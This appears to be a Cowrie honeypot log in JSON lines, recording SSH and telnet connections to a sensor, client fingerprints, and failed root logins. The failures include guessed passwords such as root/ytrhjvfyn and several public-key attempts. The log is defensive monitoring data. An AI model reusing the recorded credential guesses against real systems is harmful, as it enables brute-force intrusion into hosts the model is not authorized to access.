{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:42.973289Z","src_ip":"180.178.94.210","session":"ceac1bf8ffa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"snq","password":"snq","message":"login attempt [snq/snq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:44.022837Z","src_ip":"180.178.94.210","session":"ceac1bf8ffa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:45.278480Z","src_ip":"180.178.94.210","session":"ceac1bf8ffa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.66217303276062,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:08:57.667854Z","src_ip":"69.4.83.194","session":"5a21d46144ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dec77b5ef4c","protocol":"telnet","message":"New connection: 69.4.83.194:34462 (159.203.135.109:23) [session: 8dec77b5ef4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:07.117159Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40252,"dst_ip":"159.203.135.109","dst_port":22,"session":"c62df5f783e0","protocol":"ssh","message":"New connection: 103.27.238.114:40252 (159.203.135.109:22) [session: c62df5f783e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:13.176346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:13.188870Z","src_ip":"103.27.238.114","session":"c62df5f783e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00149464607239,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:13.218793Z","src_ip":"179.26.108.79","session":"f96a9571a0fe","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:13.449127Z","src_ip":"103.27.238.114","session":"c62df5f783e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytrhjvfyn","message":"login attempt [root/ytrhjvfyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:14.228387Z","src_ip":"103.27.238.114","session":"c62df5f783e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:15.494126Z","src_ip":"103.27.238.114","session":"c62df5f783e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40458,"dst_ip":"159.203.135.109","dst_port":23,"session":"c38f34546a9d","protocol":"telnet","message":"New connection: 69.4.83.194:40458 (159.203.135.109:23) [session: c38f34546a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:22.833581Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.26.108.79","src_port":35274,"dst_ip":"159.203.135.109","dst_port":23,"session":"1db7e3e0418d","protocol":"telnet","message":"New connection: 179.26.108.79:35274 (159.203.135.109:23) [session: 1db7e3e0418d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:26.015889Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43190,"dst_ip":"159.203.135.109","dst_port":23,"session":"f57acb6caf14","protocol":"telnet","message":"New connection: 69.4.83.194:43190 (159.203.135.109:23) [session: f57acb6caf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:30.598563Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50652,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa50f4e6fda4","protocol":"ssh","message":"New connection: 80.66.85.226:50652 (10.17.0.5:22) [session: fa50f4e6fda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.244914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.250417Z","src_ip":"80.66.85.226","session":"fa50f4e6fda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.337011Z","src_ip":"80.66.85.226","session":"fa50f4e6fda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.223.71","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"db9693799f63","protocol":"ssh","message":"New connection: 45.156.223.71:51710 (10.17.0.5:22) [session: db9693799f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.381432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.386355Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.484515Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bdfyeirf","message":"login attempt [root/bdfyeirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.617208Z","src_ip":"80.66.85.226","session":"fa50f4e6fda4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:0d:c7:d4:4a:70:f3:61:d2:0c:6c:a6:93:4e:12:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmsSta9rfnoduanecG/1I12ZDBq5ieHafgsM9sOZUVWEfX2/l9IEnWt/C5dzpuPwcKdbb0+pri7dWUxqrvKmS/YfCBO7uF3K5Ea0OoKfqyn0KOdystWlmYFO3YQWXbTEegdNc4Md3I18c5Rkr8xfzCHBRqFQNtt3bKmqKwz1APXJaJENwN65qaQLLwXzue6wGiRkUa8VID36oxEu5VCsYtvDKr/Zd8fO0LtcSap8jxq53mAW3utDowGZ2e9Ax+gZSBTlA4C3FxmvH9XBp/O1w8W6SvvKR3ZbaUCeGlUpvQZ5BHfiWgFNdbabT0BQmeKD3Xy92Q4lyf7hDjFYOJqnB7Z/AA4aTwqedcFRF1oCinfIOeKznRQUER+GI4DQzYozx3nuA6+BYK3mLrjLlaeqvlYn5yEGkOEssPKO3ubn/WWfQfyVWUNikV0HtMW3bcZxfVWSdVcPRSUQqCxSXbPDh1H6FY5jub5I7kG2noqipUk7txhFfU8nh21NmmkgG6p+Li1/Qh/FPVlk22uX4/JbHCBvvyPDn7q8/CIYNRB3kd4zNLcniziQMQNTZcEU+Vt5e+mzKBUkucwe5JeITs4QWEgp/6QoNnm4EWJ9dbkoI9HvFABhA8Pzm0gOjmZQ2d0aYljRtpsUGlI+6GH3pFuMmL8A0jMsTmVeX53w4GZtvuAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:0d:c7:d4:4a:70:f3:61:d2:0c:6c:a6:93:4e:12:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.939606Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:0d:c7:d4:4a:70:f3:61:d2:0c:6c:a6:93:4e:12:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmsSta9rfnoduanecG/1I12ZDBq5ieHafgsM9sOZUVWEfX2/l9IEnWt/C5dzpuPwcKdbb0+pri7dWUxqrvKmS/YfCBO7uF3K5Ea0OoKfqyn0KOdystWlmYFO3YQWXbTEegdNc4Md3I18c5Rkr8xfzCHBRqFQNtt3bKmqKwz1APXJaJENwN65qaQLLwXzue6wGiRkUa8VID36oxEu5VCsYtvDKr/Zd8fO0LtcSap8jxq53mAW3utDowGZ2e9Ax+gZSBTlA4C3FxmvH9XBp/O1w8W6SvvKR3ZbaUCeGlUpvQZ5BHfiWgFNdbabT0BQmeKD3Xy92Q4lyf7hDjFYOJqnB7Z/AA4aTwqedcFRF1oCinfIOeKznRQUER+GI4DQzYozx3nuA6+BYK3mLrjLlaeqvlYn5yEGkOEssPKO3ubn/WWfQfyVWUNikV0HtMW3bcZxfVWSdVcPRSUQqCxSXbPDh1H6FY5jub5I7kG2noqipUk7txhFfU8nh21NmmkgG6p+Li1/Qh/FPVlk22uX4/JbHCBvvyPDn7q8/CIYNRB3kd4zNLcniziQMQNTZcEU+Vt5e+mzKBUkucwe5JeITs4QWEgp/6QoNnm4EWJ9dbkoI9HvFABhA8Pzm0gOjmZQ2d0aYljRtpsUGlI+6GH3pFuMmL8A0jMsTmVeX53w4GZtvuAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:31.944036Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:34:cf:ac:7d:96:58:ee:75:85:42:90:6a:1c:82:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw1LlVKR2pES+jIdTz81haFfgpOKXyvp2wuQUO2ksrQWIFXI/Q9HqKCm1RJKuaEg6QTowODI+qoKBLcgG4t2QDqJKLjJGLkuiOYtkAiB0cWXNZ0PVxOyQlxE+EgtFM9LjYLdfwVaZ08yB8dEFKo8voc770tEjQL47p1PJ8zMNcSIHutEPIFWedqXDk0x9cP5zdteWWPSWjE1NO9mRjJmQ4KyiQpAvAhUlNkxFeXbfV5G4N+4F0fMpUNuFf3/BkXLJETJsaQgWYTrmxcbjiKGMP6ylQZeNsx2z2SedBueHTX9VYK/pdXqVmuQF3+bKovSmF1ZpfEtpVsG8TFV8LdChSv+ZHRhRjh3NdBNHNX5mrIMLerNKg3cs1m1as+j1aE4LfvxpB1mU3WseZHt9Z0ZFV0ZUr4HGb8kFJABVnnnGGpOG0L25H54h42ASW14nZWcbLbowWdEpuCLy+IJ10olTJH5RqSqb5K6Nn27GrZy7Ge/NH/u9VfYrzBRZgGDCpWywNTCYgTKdejvtlDEfMZMcjdn7TXAhjGEHd7FtH+G3ZzJkfPr7mWfstBhXSO2rqD7CMUCZ77IE7WoisRlYlGNjNWawdKYbKi8gO4BtOTMA/xZgiHjopl2Bez0CmL9aF3R9Vp4aoQCsTSog36vyesc9/hn/VY1j1zA4NM9acbUUlPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:34:cf:ac:7d:96:58:ee:75:85:42:90:6a:1c:82:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.041260Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:34:cf:ac:7d:96:58:ee:75:85:42:90:6a:1c:82:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw1LlVKR2pES+jIdTz81haFfgpOKXyvp2wuQUO2ksrQWIFXI/Q9HqKCm1RJKuaEg6QTowODI+qoKBLcgG4t2QDqJKLjJGLkuiOYtkAiB0cWXNZ0PVxOyQlxE+EgtFM9LjYLdfwVaZ08yB8dEFKo8voc770tEjQL47p1PJ8zMNcSIHutEPIFWedqXDk0x9cP5zdteWWPSWjE1NO9mRjJmQ4KyiQpAvAhUlNkxFeXbfV5G4N+4F0fMpUNuFf3/BkXLJETJsaQgWYTrmxcbjiKGMP6ylQZeNsx2z2SedBueHTX9VYK/pdXqVmuQF3+bKovSmF1ZpfEtpVsG8TFV8LdChSv+ZHRhRjh3NdBNHNX5mrIMLerNKg3cs1m1as+j1aE4LfvxpB1mU3WseZHt9Z0ZFV0ZUr4HGb8kFJABVnnnGGpOG0L25H54h42ASW14nZWcbLbowWdEpuCLy+IJ10olTJH5RqSqb5K6Nn27GrZy7Ge/NH/u9VfYrzBRZgGDCpWywNTCYgTKdejvtlDEfMZMcjdn7TXAhjGEHd7FtH+G3ZzJkfPr7mWfstBhXSO2rqD7CMUCZ77IE7WoisRlYlGNjNWawdKYbKi8gO4BtOTMA/xZgiHjopl2Bez0CmL9aF3R9Vp4aoQCsTSog36vyesc9/hn/VY1j1zA4NM9acbUUlPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.045859Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:31:90:17:f0:b9:ff:e3:19:f8:a5:bc:5d:38:a1:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqqNGDdXloQ9IVKk97YmDrkNU6XcCb0ViM26WGoNiACYasPTz3Vza1cC9ABnaBGPrnlB9omboFmO89ETnIsCrqrMgLrE9jV2kd7reK9VwPRj9MjVtbeU3FitPnYRG/w7VKfq5nyEfOLDYvl5T469hgImQAMQK7rI5vAVIoR2y10cusGlXeWDqe1F9+dpfMx27/5sfBL1wypnGxYnJwiOMtLJh3bVqmvZxOz3hHel88dlK77CLcL7TCNe4wEFZeldf1BPjdILzwbR2cpE2lCTvK5J6prRKpPN8ZbmZ+tX6UDvaN58vQ7hqr/xc0BFEBIbsIZ/mNntweML4CV3KgKpMo21+JMYgBFEoldgZrIPeT3kaxW17CBhLd9RNgS4O16OXigMgTFYtfjaj3GuloSXqJ14pVR1Gskrk+z74BiBO16/wfxF54gByEu4azmONSmz/MFn/Ej3SseIuydk1hq6aAItkxofgdHI5xOcOHOm78LNXNyunxBXjmT3DnKIw8o/3jMrMOBKeqpfsqHo44N3BpBYQshKQN7Ok4WFjsn2ai48EhF0tImlGEqgS8XrptBf550I0vnCm5sr8aK0TYXH7lNswLNlEScisP4b5KweHCJeL7XgTr+1DmbOOi5Y9iZEuwdv86OucukE/l4Zxoau/5mE6MbUPIWflWhYHn+rPhvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:31:90:17:f0:b9:ff:e3:19:f8:a5:bc:5d:38:a1:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.142730Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:31:90:17:f0:b9:ff:e3:19:f8:a5:bc:5d:38:a1:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqqNGDdXloQ9IVKk97YmDrkNU6XcCb0ViM26WGoNiACYasPTz3Vza1cC9ABnaBGPrnlB9omboFmO89ETnIsCrqrMgLrE9jV2kd7reK9VwPRj9MjVtbeU3FitPnYRG/w7VKfq5nyEfOLDYvl5T469hgImQAMQK7rI5vAVIoR2y10cusGlXeWDqe1F9+dpfMx27/5sfBL1wypnGxYnJwiOMtLJh3bVqmvZxOz3hHel88dlK77CLcL7TCNe4wEFZeldf1BPjdILzwbR2cpE2lCTvK5J6prRKpPN8ZbmZ+tX6UDvaN58vQ7hqr/xc0BFEBIbsIZ/mNntweML4CV3KgKpMo21+JMYgBFEoldgZrIPeT3kaxW17CBhLd9RNgS4O16OXigMgTFYtfjaj3GuloSXqJ14pVR1Gskrk+z74BiBO16/wfxF54gByEu4azmONSmz/MFn/Ej3SseIuydk1hq6aAItkxofgdHI5xOcOHOm78LNXNyunxBXjmT3DnKIw8o/3jMrMOBKeqpfsqHo44N3BpBYQshKQN7Ok4WFjsn2ai48EhF0tImlGEqgS8XrptBf550I0vnCm5sr8aK0TYXH7lNswLNlEScisP4b5KweHCJeL7XgTr+1DmbOOi5Y9iZEuwdv86OucukE/l4Zxoau/5mE6MbUPIWflWhYHn+rPhvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.146855Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:0d:37:f1:f1:70:9a:4a:ca:13:e6:26:7f:c7:bb:8a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPHHh9+GJBxx2P39VrjQ77ofD689LTZBCKeQV1fNnUGhQCcJtwbTCr5nAYMQKpLEQjqQOZYl5QKJKH+Blv9N13d8wBWP4ufw67uXSirKvGsYA9cOrtYv5aFYhqcyZeXNg+YXOtjHUb3MAqGvAwehhdV3cBFzhjT5DHv4tLYJRpTXAAAAFQCv6hhXeKWpgvPbyMVCLShpmjbY6wAAAIEAwP01VX+0ToH2JHxs4cIcfXk13+leSO6OeGAV7TCImWs3wfn8NuE19NORyPds6wd6SxhfCdIKZJbF/dPl+8hNJzI/SmwUV8QAZKrlxh9nK8Qln0YdMw3xtsZbpxso2t2gFjzaLWliPdTY9QheObniHqHQazLaK3NTUdm8x7Y3g14AAACBAN3oDX1RlgTUssDwrHgCUAr4Zm7DVVEMCR0g+TN0Uqa2TRF4ocGiGnNJQEDLn+p5+Yq1Rm7JULBs5xwg5I8QeizAgrzor6xJ5NRlHBwyvC9Bz2KnA9GFAr9eswF2FN7OLD3NyE1t5SpALBJJOnFxaCl6Rb+LF1t+IfgQ53Au45kE","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 13:0d:37:f1:f1:70:9a:4a:ca:13:e6:26:7f:c7:bb:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.246800Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:0d:37:f1:f1:70:9a:4a:ca:13:e6:26:7f:c7:bb:8a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPHHh9+GJBxx2P39VrjQ77ofD689LTZBCKeQV1fNnUGhQCcJtwbTCr5nAYMQKpLEQjqQOZYl5QKJKH+Blv9N13d8wBWP4ufw67uXSirKvGsYA9cOrtYv5aFYhqcyZeXNg+YXOtjHUb3MAqGvAwehhdV3cBFzhjT5DHv4tLYJRpTXAAAAFQCv6hhXeKWpgvPbyMVCLShpmjbY6wAAAIEAwP01VX+0ToH2JHxs4cIcfXk13+leSO6OeGAV7TCImWs3wfn8NuE19NORyPds6wd6SxhfCdIKZJbF/dPl+8hNJzI/SmwUV8QAZKrlxh9nK8Qln0YdMw3xtsZbpxso2t2gFjzaLWliPdTY9QheObniHqHQazLaK3NTUdm8x7Y3g14AAACBAN3oDX1RlgTUssDwrHgCUAr4Zm7DVVEMCR0g+TN0Uqa2TRF4ocGiGnNJQEDLn+p5+Yq1Rm7JULBs5xwg5I8QeizAgrzor6xJ5NRlHBwyvC9Bz2KnA9GFAr9eswF2FN7OLD3NyE1t5SpALBJJOnFxaCl6Rb+LF1t+IfgQ53Au45kE","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.251348Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
